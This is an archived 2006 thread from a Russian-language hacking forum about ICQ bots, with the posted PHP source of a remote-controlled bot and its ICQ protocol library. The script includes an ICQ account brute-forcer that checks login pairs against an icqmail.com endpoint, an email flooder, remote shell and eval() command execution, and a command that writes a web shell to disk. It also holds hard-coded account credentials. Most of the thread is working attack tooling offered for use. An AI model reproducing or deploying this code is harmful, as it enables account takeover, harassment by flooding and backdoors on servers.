ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > ICQ
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 16.01.2006, 21:02
LAMAREZ
Новичок
Регистрация: 16.01.2006
Сообщений: 24
Провел на форуме:
87233

Репутация: 63
По умолчанию

Привет амигос! НУЖЕН ICQ-БОТ, вот такого типа:
пишеш в асе на номер 744444:
!help
а он отвечает:
Available Commands:
!help - display this information;
!start <sn/uin> - start a new session with buddy;
!end - close session with buddy;
!admin <password> - enter administration mode.

ну вот тут в хелпе ясно всё...
пишеш !start 108117
и ты будеш говорить со мной, через этот номер...
я так прикалывался над друзьями))
Так вот теперь хочу своих ботов наставить... =)
Это что-то типа прокси)) не светит твой клиент, твой IP, и твой настоящий номер =)
Имхо a}{YEнн@я штука...
 

  #32  
Старый 16.01.2006, 21:21
NaX[no]rT
Members of Antichat
Регистрация: 03.09.2005
Сообщений: 594
Провел на форуме:
3606217

Репутация: 685


Отправить сообщение для NaX[no]rT с помощью ICQ
По умолчанию

Недавно от этого номера пишут, "Не хочешь купить номерок? Всего 100$ продашь за 500$ ... бери по дешевке."
А только сейчас понял, что это бот =)
 

  #33  
Старый 22.01.2006, 02:15
almaz
Познающий
Регистрация: 04.09.2005
Сообщений: 34
Провел на форуме:
939845

Репутация: 2
По умолчанию

Цитата:
Сообщение от KEZ  
Сильно недоделаный, но всеже более менее рабочий скрипт... Предполагалось что там будет брут и т д... Брут получился очеень медленным и фиговым.
Ну бот всеравно работает.

PHP код:
<?php


##############################
#                            #
#                            #
#         (C) KEZ            #
#      kez@antichat.ru       #
#           2005             #
#                            #
##############################
#                            #
# http://antichat.ru         #
# http://video.antichat.net  #
# http://video.antichat.ru   #
#                            #
##############################
#                            #
# --functions--              #
# Email send, email flood,   #
# icq send, icq flood,       #
# *ICQ BRUTEFORCE*,          #
# Unix\Windows shell,        #
# view PHP environment       #
# vars, generating list for  #
# ICQ bruteforce             #
#                            #
##############################
#                            #
# This PHP script            #
# includes edited by me      #
# c99phpicq.php              #
# library by CCTeam          #
#                            #
# http://ccteam.ru/          #
# http://ccteam.ru/files     #
#         /c99phpicq.php.txt #
#                            #
##############################


##########################################################
#######!              c99phpicq.php              !########
##########################################################
// влючите сюда c99phpicq.php с http://ccteam.nukleon.us
###############################################################
#################!   END OF c99phpicq.php    !#################
###############################################################

# redirect to / (index)
# if 0, do not redirect to index, else redirect
# (for WEB browsers)
$Force_Redirect 0;
if (
$Force_Redirectheader"Location: /" );

# lib allready included in top of file
#include("c99phpicq.php");
#

# no script execution limit, 0
set_time_limit);

# you cat control this bot from this UINs:

#$AdminUins = array ( "353303", "446378" );
$AdminUins = array (  "353303" );

# ICQ Account for bot
$BotUin  "66680094";
$BotPass "kJuIk7w";

# default values
$AboutString       "bot_by_kez_<kez@antichat.ru>";

# environment text string, do not change
$env_var env();

# 1 = now b#ruting, 0 = NOT bruting
$bruting 0;

# counter for good ICQ accounts (bruted) in good file
$good_count 0;
# counter for all ICQ accounts
$all_count  0;
 
# if 1, messages from ALL users will be displayed, if 0,
# only cmd's from admins
$ShowGuestMessages 1;

# time for sleep() over mail() flooding, in seconds
$sleeptime 1// 1 second

function Log_print$str )
{
  return 
true;
}

# time
$StartTime 0;
$StopTime 0;

$enablelog 0;

# /$php_self?startbrute ...
if (isset($HTTP_GET_VARS["startbrute"]))
{
   if (!isset(
$HTTP_GET_VARS["listfile"])) exit;
   if (!isset(
$HTTP_GET_VARS["goodfile"])) exit;
   if (!isset(
$HTTP_GET_VARS["stopfile"])) exit;
   if (isset(
$HTTP_GET_VARS["logfile"]))
   {
     
$logfile  $HTTP_GET_VARS["logfile"];
     
$f_log fopen$logfile"w" );
     
$enablelog 1;
   }
   
   
$listfile $HTTP_GET_VARS["listfile"];
   
$goodfile $HTTP_GET_VARS["goodfile"];
   
$stopfile $HTTP_GET_VARS["stopfile"];

   
$icq = new ICQ0);

   
$f  fopen$listfile"r" );
   
$f2 fopen$goodfile"w" );
   
   if (
$enablelogfputs$f_log"*start*\r\nlistfile=$listfile goodfile=$goodfile stopfile=$stopfile\r\n" );
   
$StartTime time();
  
   while (
$l fgets$f50 )) :
     list( 
$uin$password ) = explode";"$l );
     
$password str_replace"\r\n"""$password );
     
$r $icq->http_checklogin$uin$password );
     if (
$r == 1)
     {
       
fputs$f2$uin.";".$password."\r\n" );
       
# increment the good uins count
       
$good_count++;
     }
     
$all_count++;
     
# check for STOP file, if exists then break <while> cycle
     
if (file_exists$stopfile ))
     {
       if (
$enablelogfputs$f_log"\r\n*used stopfile*" );
       
unlink$stopfile );
       break;
     }
   endwhile;

   
# close list and good files
   
fclose$f );
   
fclose$f2 );
   
   
# printing results and halting
   
$StopTime time();
   
$TotalTime $StopTime $StartTime;
   if (
$enablelogfputs$f_log"\r\n*stop*\r\nGOOD=$good_count ALL=$all_count\r\nTime: ".$TotalTime );
   
   exit;
}

###############################################################
print "Starting BOT ...\n";
print 
"Bot UIN: ".$BotUin.", Bot password: ".$BotPass."\n";
print 
"Admins: ";
foreach (
$AdminUins as $AU)
{
   print 
$AU." ";
}
print 
"\n";

$icq = new ICQ$BotUin$BotPass );
@
$icq->connect() || die( "Couldnot connect - @\$icq->connect() failed\n" );
@
$icq->login() || die( "Couldnot login - @\$icq->login() failed\n" );

# force_shutdown
function force_shutdown()
{
   GLOBAL 
$icq;
  
   
$icq->disconnect();
   exit;
}

# help
function help()
{
    GLOBAL 
$AboutString;
    
    
$result "\nCommands:\n";
    
$result .= "-----------\n";
    
$result .= "shutdown - fully switch off the PHP script process\n";
    
$result .= "env - view PHP environment varibles\n";
    
$result .= "stats - view statistics\n";
    
$result .= "help - this help\n";
    
$result .= "email <to>|<subject>|<text> - send email message\n";
    
$result .= "emailflood <to>|<subject>|<text>|<count> - flood email, send <count> messages\n";
    
$result .= "genlist <file> <from_number> <to_number> <pass> <mode> - generate brute list <file> from <from_number> to <to_number> with password <pass>, <mode>:\"w\" for new file, \"a\" for append to file\n";
    
$result .= "set <varible> <value> - setup options, see help\n";
    
$result .= "! <command> - shell command in exec()\n";
    
$result .= "@ <command> - php code in eval()\n";
    
$result .= "# <command> - shell command in system, do not return results from console\n";
    
$result .= "icq <to_uin>|<msg> - send \"<msg>\" to <to_uin>\n";
    
$result .= "icqflood <to_uin>|<msg>|<count> - flood icq, send <count> messages, THIS FUNCTION NOT IMPLEMENTATED!\n";
    
$result .= "-----------\n";
    
$result .= "<varible>'s for <set> :\n";
    
$result .= "str_about - set about string, as copyright\n";
    
$result .= "logfile - set the log file (logging bad implementated)\n";
    
$result .= "sleeptime - set time for sleep(), over mail() flood\n";
    
$result .= "log - logging?\n";
    
$result .= "showguest - show and log guest, messages from NON-ADMINS\n";
    
$result .= "-----------\n";
    
$result .= "ABOUT :\n";
    
$result .= $AboutString;

    return 
$result;
}

function 
stats()
{
    
# globals...
    
GLOBAL       $BotUin;
    GLOBAL       
$BotPass;
    GLOBAL       
$AdminUins;
    GLOBAL       
$ShowGuestMessages;
    
    
$result "\nSTATISTICS:\n";
    
$result .= "___________\n";
    
$result .= "Bot ICQ account information:\n";
    
$result .= "UIN:".$BotUin.", Password:".$BotPass."\n";
    
$result .= "Admins:\n";
    
$i 1;
    foreach (
$AdminUins as $AU)
    {
      
$result .= $i.") ".$AU."\n";
      
$i++;
    }
    
$result .= "\n";
    
$result .= "\$ShowGuestMessages=".$ShowGuestMessages."\n";
    
$result .= "Use <env> command for PHP environment listing\n";
    
$result .= "Coded by KEZ -- kez@antichat.ru";
                           
    return 
$result;
}

function 
env()
{
    
$result "\nENVIRONMENT:\n";
    while (list(
$var,$value) = each($_SERVER)) :
        
$result .= $var." = ".$value."\n";
    endwhile;
    return 
$result;
}

# Process_Command
function Process_Command$cmd )
{
    GLOBAL 
$env_var;
    GLOBAL 
$GoodListFileName;
    GLOBAL 
$AboutString;
    GLOBAL 
$icq;
    GLOBAL 
$file2_b64;
    GLOBAL 
$StartTime;
    GLOBAL 
$sleeptime;
    GLOBAL 
$ShowGuestMessages;
   
    
$result ""

    
$cmdarr split" "$cmd );

    switch (
$cmdarr[0]) :

      case 
"shutdown" :
        
Log_print"cmd:shutdown\r\n" );
        
force_shutdown();        
        break;

      case 
"env" :
        
Log_print"cmd:env\r\n" );
        
$result $env_var;
        break;
      
      case 
"stats" :
        
Log_print"cmd:stats\r\n" );
        
$result stats();
        break;

      case 
"help" :
        
Log_print"cmd:help\r\n" );
        
$result help();
        break;

      case 
"email" :
        
Log_print"cmd:email\r\n" );
        
$emaildata split"\|"$cmd );
        
$emailto split" "$emaildata[0] );
        
$result "Message emailed for ".$emailto[1];
        @
mail$emailto[1], $emaildata[1], $emaildata[2] ) || $result "Error in @mail()";

        break;

      case 
"emailflood" :
        
Log_print"cmd:emailflood\r\n" );
        
$emaildata split"\|"$cmd );
        
$emailto split" "$emaildata[0] );
        
$count $emaildata[3];       

        
$result "Flood emailed to ".$emailto[1].", ".$count." messages";
        for (
$i 1$i <= $count$i += ):
          
sleep$sleeptime );
          @
mail$emailto[1], $emaildata[1], $emaildata[2] ) || $result "Error in @mail()";
        endfor;

        break;

      case 
"@" :
        
Log_print"cmd:@\r\n" );
        
$_cmd substr$cmd);
        eval( 
$_cmd );
        break;

      case 
"genlist" :
        
Log_print"cmd:genlist\r\n" );

        
$fname $cmdarr[1];
        
$min   $cmdarr[2];
        
$max   $cmdarr[3];
        
$pass  $cmdarr[4];
        
$mode  $cmdarr[5];

        switch (
$mode) :
          case 
"a" :
            
$f fopen$fname"a" );
            break;
   
          case 
"w" :
            
$f fopen$fname"w" );
            break;

          default:        
          {
            
$result "Unknow mode (4) - use a (append to file) or w (new file)";
            break;
          }
        endswitch;

        for (
$i $min$i <= $max$i += 1):
        
fputs$f$i.";".$pass."\r\n" );
        endfor;
        
fclose$f );

        
$result "List \"".$fname."\" rewrited/appended with UINs ".$min." to ".$max." with pass ".$pass.", mode is ".$mode;
      break;

      case 
"set" :
        
Log_print"cmd:set\r\n" );
        if (
$cmdarr[1] == "str_about" )
        {
          
$AboutString $cmdarr[2];
          
$result "\$AboutString changed to ".$AboutString;
          break;
        }

        if (
$cmdarr[1] == "showguest")
        {
          if (
$cmdarr[2] == "on"$ShowGuestMessages 1;
          if (
$cmdarr[2] == "off"$ShowGuestMessages 0;
          
          
$result "Guest messages ".$ShowGuestMessages;
          break;
        }
         
        if (
$cmdarr[1] == "sleeptime")
        {
          
$sleeptime $cmdarr[2];
          
$result "\$sleeptime changed to ".$sleeptime;
          break;
        }
        else
        {
          
$result "<set>: unknow parameter specified";
          break;
        }

      case 
"!" :
        
Log_print"cmd:!\r\n" );
        
$_cmd substr$cmd);
        
exec$_cmd$execstrarray );
        for (
$i=0$i count($execstrarray); $i++) :
          
$result .= "\n".$execstrarray[$i];
        endfor;
        break;
        
      case 
"#" :
        
Log_print"cmd:#\r\n" );
        
$_cmd substr$cmd);
        
system$_cmd );
        break;
      
        
      case 
"icq" :
        
Log_print"cmd:icq\r\n" );

        
$icqdata split"\|"$cmd );        
        
$icqto split" "$icqdata[0] );
        
$icq->message_send$icqto[1], $icqdata[1] ); 
        
$result "\$icq->message_send() OK";
        break;
      
      case 
"icqflood" :
        
Log_print"cmd:icqflood\r\n" );
        
$result "ICQ Flooder NOT IMPLEMENTATED";
        break;
        
      case 
"spawnshell" :
        
# spawn a little PHP shell
        
Log_print"cmd:spawnshell\n" );
        
#        if (!is_writable( $cmdarr[1]))
#        {
#          $result = "Couldnot create file - permission denied";
#          break;
#        }
        
        
$shf fopen$cmdarr[1], "w" );
        
fputs$shf"<?\r\n" );
        
fputs$shf"print \"<PRE>\";\r\n" );
        
fputs$shf"system( \$_GET[\"cmd\"] );\r\n" );
        
fputs$shf"print \"</PRE>\";\r\n" );
        
fputs$shf"?>" );
        
fclose$shf );
        
        
$result "Little PHP shell created. Use: ".$cmdarr[1]."?cmd=ls -la";
        break;

      case 
"spawn2php" :
        
Log_print"cmd:spawn2php\r\n" );

        
$f_php2 fopen$cmdarr[1], "w" );
        
fwrite$f_php2base64_decode$file2_b64 ) );
        
fclose$f_php2 );
        
        
$result "2.php created. use this script for brute";        
        break;
        
      case 
"spawnremview" :
        
# spawn a little PHP shell
        
Log_print"cmd:spawnremview\r\n" );;
        
        
$result "This script dont support base64 remview source. Only <spawnshell> command";
        break;

#        $shf = fopen( $cmdarr[1], "w" );
#        fwrite( $shf, base64_decode( $remview_b64 ) );
#        fclose( $shf );
        
#        $result = "REMVIEW.PHP created";
#        break;
      
      
default:
        
$result "Unknow command, use <help> for list";

    endswitch;
     
    return 
$result;
}

foreach (
$AdminUins as $AU)
{
   
$icq->message_send$AU"Bot'up!" );
}

################################
# main cycle                   #
# socket read                  #
################################

while ($icq->socket)
{
 
$icq->listen();

 if (isset(
$icq->mess["channel"]))
 {
     if (
in_array($icq->mess["uin"], $AdminUins ))
     
$icq->message_send$icq->mess["uin"], Process_Command$icq->mess["text"] ) );
     else
     {
        if (
$ShowGuestMessages == 1)
        {
          
Log_print"FROM ".$icq->mess["uin"]." : ".$icq->mess["text"]."\r\n" );
          foreach (
$AdminUins as $AU)
          {
            
$icq->message_send$AU"FROM ".$icq->mess["uin"]." : ".$icq->mess["text"] );
          }
       }
     }
 }
}

#
# $people = "people";
# $shit   = "shit";
#
# $people = $shit;
#

?>


Пожалуйста если можно по подробней как это установить у себя на хостинге,пробовал протестить у себя на денвере не получилось...
 

  #34  
Старый 07.02.2006, 00:02
almaz
Познающий
Регистрация: 04.09.2005
Сообщений: 34
Провел на форуме:
939845

Репутация: 2
По умолчанию

И тишина в ответ...
 

  #35  
Старый 15.02.2006, 03:34
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Цитата:
Это что-то типа прокси)) не светит твой клиент, твой IP, и твой настоящий номер =)
Имхо a}{YEнн@я штука...
Знакомо, я сам через бота говорил. Тебе именно на ПХП нужен, или можно в виде EXE/ELF
для Windows/Unix ?
Так то есть всякие ICQKID исходники если вручную писать лень или протокол изучать.
 

  #36  
Старый 18.02.2006, 01:50
almaz
Познающий
Регистрация: 04.09.2005
Сообщений: 34
Провел на форуме:
939845

Репутация: 2
По умолчанию

Интересны готовые php скрипты icq bota или web icq типа как на http://911.ru/ можно и wap icq...

Последний раз редактировалось almaz; 18.02.2006 в 01:53..
 

  #37  
Старый 18.02.2006, 02:58
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

По порядку.
Это c99phpicq.php

Код:
<?php
##########################################################
#######!              c99phpicq.php              !########
##########################################################
class ICQ
{
 var $socket,$server,$port,$connected,
	 $uin,$pass,$logged,
	 $dbgstream,$errorstream,$lasterror;
 var $TLV = array();
 var $TLV_dstb = array();
 var $FLAP = array();
 var $mess = array();
 var $memory = array();
 var $events = array();
 var $settings = array();
 function ICQ($uin,$pass,$server="login.icq.com",$port=5190)
 {
  $this->events = array(
   "onunwanteddisconnect" => "\$this->connect();",
   "onmessagerecv" => null
  );
  $this->settings = array(
   "client" => array(
    "name" => "1",
    "country" => "ru",
    "language" => "ru",
    "build" => 1,
    "id" => 234,
    "major" => 0,
    "minor" => 2,
    "lesser" => 1
   )
  );
#  $this->dbgstream = fopen("dbgstream.out","wb");
  //$this->dbgstream = fsockopen(127.0.0.1,5191);
#  $this->errorstream = fopen("errorstream.out","wb");
  //$this->errorstream = fsockopen(127.0.0.1,5192);
  $this->server = $server;
  $this->port = $port;
  $this->uin = $uin;
  $this->pass = $pass;  
 }
 function connect($server="",$port="")
 {
  if (!empty($server)) {$this->server = $server;}
  if (!empty($port)) {$this->port = $port;}
  $this->socket = @fsockopen($this->server,$this->port,$errno,$errstr,3);
  if (!$this->socket) {$this->_error("connect","connection to ".$this->server.":".$this->port." has failed: ".$errno." - ".$errstr,__FILE__,__LINE__); return false;}
  else {$this->connected = true; return true;}
 }
 function _connect_migration($server,$port)
 {
  $this->socket = @fsockopen($server,$port,$errno,$errstr,3);
  if (!$this->socket) {$this->_error("connect_migration","migration to ".$server.":".$port." has failed: ".$errno." - ".$errstr,__FILE__,__LINE__); return false;}
  else {$this->connected = true; return true;}
 }
 function connect_pass()
 {
  if ($this->connected)
  {
   if ($this->socket) {return true;}
   else
   {
    eval($this->events["onunwanteddisconnect"]);
    return is_resource($this->socket);
   }
  }
  else {return false;}
 }
 function login_pass() {$this->connect_pass(); return $this->socket and $this->logged;}
 function login($uin="",$pass="")
 {
  if ($uin) {$this->uin = $uin;}
  if ($pass !== "") {$this->pass = $pass;}
  $this->TLV[1] = $this->uin;
  $this->TLV[2] = xorpass($this->pass);
  $this->TLV[3] = substr($this->settings["client"]["name"],0,20);
  $this->TLV[14] = $this->settings["client"]["country"];
  $this->TLV[15] = $this->settings["client"]["language"];
  $this->TLV[20] = 85;
  $this->TLV_dstb[20] = 4;
  $this->TLV[22] = $this->settings["client"]["id"];
  $this->TLV_dstb[22] = 2;
  $this->TLV[23] = $this->settings["client"]["major"];
  $this->TLV_dstb[23] = 2;
  $this->TLV[24] = $this->settings["client"]["minor"];
  $this->TLV_dstb[24] = 2;
  $this->TLV[25] = $this->settings["client"]["lesser"];
  $this->TLV_dstb[25] = 2;
  $this->TLV[26] = $this->settings["client"]["build"];
  $this->TLV_dstb[26] = 2;
  $this->connect_pass();
  if (!$this->socket) {return false;}
  else
  {
   $this->FLAP["outsid"] = rand(0x0001,0x8000);
   $this->FLAP_recv();
   $this->FLAP_send("CMD_LOGIN");
   $cook = $this->FLAP_recv();
   if ($this->FLAP["type"] == 4) {$this->TLV_recv($cook);}
   if (isset($this->TLV[5]) && isset($this->TLV[6]))
   {
    $address = explode(":", $this->TLV[5]);
    $this->_connect_migration($address[0],$address[1]);
    if (!$this->socket) {return false;}
    else
    {
     $this->FLAP_recv();
     $this->FLAP_send("CMD_COOKIE");
     $this->FLAP_recv();
     $this->FLAP_send("CMD_READY");
     //$this->TLV = array();
     $this->logged = true;
     return true;
    }
   }
   else {$this->_error("login","authorization failed: too fast",__FILE__,__LINE__); return false;}
  }
 }
 function message_send($uin,$message)
 {
  $this->login_pass();
  if ($this->logged and $this->is_uin($uin))
  {
   $this->FLAP["touin"] = $uin;
   $this->FLAP["outdata"] = $message;
   $this->FLAP_send("CMD_MESSAGE");
   //sleep(10);
   return true;
  }
  else {return false;}
 }
 function listen()
 {
  unset($this->mess);
  $arr = $this->FLAP_recv();
  if ($arr !== 0)
  {
   if ($this->FLAP["type"] == 2) {$this->SNAC_recv($arr);} 
   if (isset($this->mess["channel"]))
   {
    if ($this->mess["channel"] == 1) {$this->mess["text"] = $this->_message_recv1($this->TLV[2]);}
    if ($this->mess["channel"] == 2) {$this->mess["text"] = $this->_message_recv2($this->TLV[5]);}
    eval($this->events["onmessagerecv"]);
    return true;
   }
   else {return false;} 
   return true;
   //unset($this->TLV); 
  }
  else {return false;}
 }
 function FLAP_recv()
 {
  $Fh = @fread($this->socket,6);
  if (strlen($Fh) == 6)
  { 
   $this->_dbg("FLAP_recv","inhead:".$Fh);
   if (ord($Fh{0}) !== 0x2A) {$this->_error("FLAP_recv","ICQ protocol sync error",__FILE__,__LINE__); return false;}
   $this->FLAP["type"] = ord($Fh[1]);
   $Fsid = ord($Fh{3})+(ord($Fh[2])<<8);
   //$Fsid = (int)(ord($Fh{2}).ord($Fh{3}));
   if (!isset($this->FLAP["insid"])) {$this->FLAP["insid"] = $Fsid;}
   if ($Fsid != $this->FLAP["insid"])
   {
     $this->_error("FLAP_recv","ICQ protocol sync error my sid ".$Fsid." != ".$this->FLAP["insid"],__FILE__,__LINE__);
     return false;
   }
   else
   {
    $this->FLAP["insid"]++;
    if ($this->FLAP["insid"] == 0x8000) {$this->FLAP["insid"] = 0x0000;}
   }
   $Fds = ord($Fh{5})+(ord($Fh{4})<<8);
   //$Fds = (int)(ord($Fh{4}).ord($Fh{5}));
   $data = fread($this->socket,$Fds);
   if ($this->FLAP["type"] == 4) {fclose($this->socket); unset($this->FLAP["insid"]);}
   $this->_dbg("FLAP_recv","|-|".$data);
   return $data;
  }
  else {return false;}
 }
 function FLAP_send($type,$SNAC=false)
 {
  if (!$SNAC) {$SNAC = $this->SNAC_send($type);}
  if (!$SNAC) {return false;}
  else
  {
   list($channel,$SNAC) = $SNAC;
   $FLAP = i2b(1,0x2A).i2b(1,$channel).i2b(2,$this->FLAP["outsid"]).i2b(2,strlen($SNAC));
   $data = $FLAP.$SNAC;
   $this->_dbg("FLAP_send","send type ".$type.", channel ".$channel.": |||".$FLAP."|-|".$SNAC."|||");
   fwrite($this->socket,$data);
   $this->FLAP["outsid"]++;
  }
 }
 function TLV_send($arr)
 {
  if (!is_array($arr)) {$arr = func_get_args();}
  $out = "";
  foreach($arr as $i)
  {
   $out .= i2b(2,$i);
   if (isset($this->TLV_dstb[$i])) {$size = $this->TLV_dstb[$i];}
   else {$size = strlen($this->TLV[$i]);}
   $out .= i2b(2,$size);
   if (is_int($this->TLV[$i])) {$out .= i2b($size,$this->TLV[$i]);}
   else {$out .= $this->TLV[$i];}
  }
  return $out;
 }
 function TLV_recv($str="")
 {
  $out = array();
  while ($str != "")
  {
   $i = ord($str[1])+(ord($str[0])<<8);
   $out[] = $i;
   $size = ord($str[3])+(ord($str[2])<<8);
   $sizes[] = $size;
   $this->TLV[$i] = substr($str,4,$size);
   $str = substr($str,4+$size);
  }
  return $out;
 }
 function SNAC_send($type)
 {
  $channel = 2;
  if ($type == "CMD_LOGIN") {$data = i2b(4,1).$this->TLV_send(1,2,3,22,23,24,25,26,20,15,14); $channel = 1;}
  elseif ($type == "CMD_COOKIE") {$data = i2b(4,1).$this->TLV_send(6); $this->TLV[6] = ""; $channel = 1;}
  elseif ($type == "CMD_READY")
  {
   $data = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10".
	   "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10". 
           "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10". 
           "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10". 
           "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
  }
  elseif ($type == "CMD_MESSAGE")
  {
   $this->TLV[2] =
    i2b(4,0x05010001).i2b(3,0x010101).
    i2b(2,strlen($this->FLAP["outdata"])+4).i2b(4,0).
    $this->FLAP["outdata"];
   $data =
    i2b(2,4).i2b(2,6).			i2b(2,0).i2b(4,6).
    i2b(8,time()).i2b(2,1).  	i2b(1,strlen($this->FLAP["touin"])).
    $this->FLAP["touin"].		$this->TLV_send(2,6);
  }
  else {$this->_error("SNAC_send() error: unknown/unsupported SNAC-type (".$type.")."); return false;}
  return array($channel,$data);
  $this->_dbg("SNAC_send","type ".$type.", channel ".$channel.": ".$data);
 }
 function SNAC_recv($str)
 {
  $result = null;
  $family = ord($str[1])+(ord($str[0])<<8);
  $subfamily = ord($str[3])+(ord($str[2])<<8);
  if ($family == 4)
  {
   if ($subfamily == 7)
   {
    $this->mess["mid"] = substr($str,10,8);
    $this->mess["channel"] = ord(substr($str,19,1));
    $uin_size = ord(substr($str,20,1));
    $this->mess["uin"] = substr($str,21,$uin_size);
    $str = substr($str,25+$uin_size);
    $this->TLV_recv($str);
    $result = true;
   }
  }
  if ($result === null) {$this->_error("SNAC_recv","unknown/unsupported SNAC ".$family."-".$subfamily.".",__FILE__,__LINE__); return false;}
  elseif ($result === false) {$this->_error("SNAC_recv","processing ".$family."-".$subfamily." failed: ".$err.".",__FILE__,__LINE__); return false;}
  else {return true;}
 }
 function _message_recv1($str)
 {
  $s1 = ord($str{3})+(ord($str{2})<<8);
  $s = substr($str,6+$s1,2);
  $s2 = ord($s[1])+(ord($s[0])<<8);
  $text = substr($str,12+$s1,$s2+4);
  return $text;
 }
 function _message_recv2($str)
 {
  $s1 = substr($str,2,2);
  $s2 = substr($str,6+$s1,2);
  return substr($str,8+$s1,$s2);
 }
 function _dbg($procedure,$info,$file="unknown",$line="unknown")
 {
#  $string = $procedure."() info: ".$info." in file ".$file." at line ".$line.".";
#  if (is_resource($this->dbgstream)) {fwrite($this->dbgstream,$string."\n"); return true;}
#  else {return false;}
  return true;
 }
 function _error($procedure,$error,$file="unknown",$line="unknown")
 {
#  $string = $procedure."() error: ".$error." in file ".$file." at line ".$line.".";
#  $this->lasterror = $string;
#  if (is_resource($this->errorstream)) {fwrite($this->errorstream,$string."\n"); return true;}
#  else {return false;}
  return true;
 }
 function lasterror() {return $this->lasterror;}
 function is_uin($uin) {$uin = $this->defake($uin); return is_numeric($uin) and strlen($uin) >= 1 and strlen($uin) <= 9;}
 function defake($uin) {while ($uin - 4294967296 > 0) {$uin -= 4294967296;} return $uin;}
 function disconnect() {$this->connected = $this->logged = false; return fclose($this->socket);}
 function http_checklogin($uin,$password)
 {
  $http = @fsockopen("www.icqmail.com",80,$errno,$errstr,1);
  if ($http)
  {
   $post ="user=admin&AltID=".$uin."&pwd=".urlencode($password)."&repwd=".urlencode($password)."&firstname=&lastname=&tosagree=&action=register&xo=RU";
   fwrite($http,"POST http://www.icqmail.com/s/icq/reg_icq.asp HTTP/1.1\n". 
			"Host: www.icqmail.com\n".
			"Connection: close\n".
			"TE: deflate, gzip, chunked, identity, trailers\n".
			"Content-Type: application/x-www-form-urlencoded\n".
			"Content-Length: ".strlen($post)."\n".
			"\n".$post."\n");
  while (!feof($http) and $line = fgets($http)) {if (strpos($line,"someone has already chosen")) {return 1; break;} elseif (strpos($line,"Password do not match")) {return 0; break;}}
  return false;
 }
 else {$this->_error("http_checklogin","connection to www.icqmail.com:80 has failed",__FILE__,__LINE__);}
}
}
function int2bits($bits,$val=0) {$ret = ""; for ($i=0; $i<$bits; $i++) {$ret = chr(($val >> ($i*8) & 0xFF)).$ret;} return $ret;}
function i2b($bits,$val=0) {return int2bits($bits,$val);}
function bits2int($hex=0)
{
 $dec = 0;
 $bitval = 1; 
 for($pos = 1; $pos <= strlen($hex); $pos++) {$dec += hexdec(substr($hex, -$pos, 1)) * $bitval; $bitval *= 16;} 
 return $dec;
}
function b2i($hex=0) {return bits2int($hex);}
function xorpass($pass)
{
 $roast = array(0xF3,0x26,0x81,0xC4,0x39,0x86,0xDB,0x92 /*,0x71,0xA3,0xB9,0xE6,0x53,0x7A,0x95,0x7c*/);
 $xored = "";
 for ($i=0; $i<strlen($pass); $i++) {$xored .= chr($roast[$i] ^ ord($pass{$i}));}
 return $xored;
}
###############################################################
#################!   END OF c99phpicq.php    !#################
###############################################################
?>
А это example.php
Код:
<?php
$BotUin = "232323";
$BotPass = "6(sic)6";

include( "c99phpicq.php" );

$icq = new ICQ( $BotUin, $BotPass );
@$icq->connect() || die( "Couldnot connect - @\$icq->connect() failed\n" );
@$icq->login() || die( "Couldnot login - @\$icq->login() failed\n" );

$icq->message_send( "898989", "Fuck me" ); 

?>
попробуй. если все ок, напишу тебе как сделать из этого бота
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ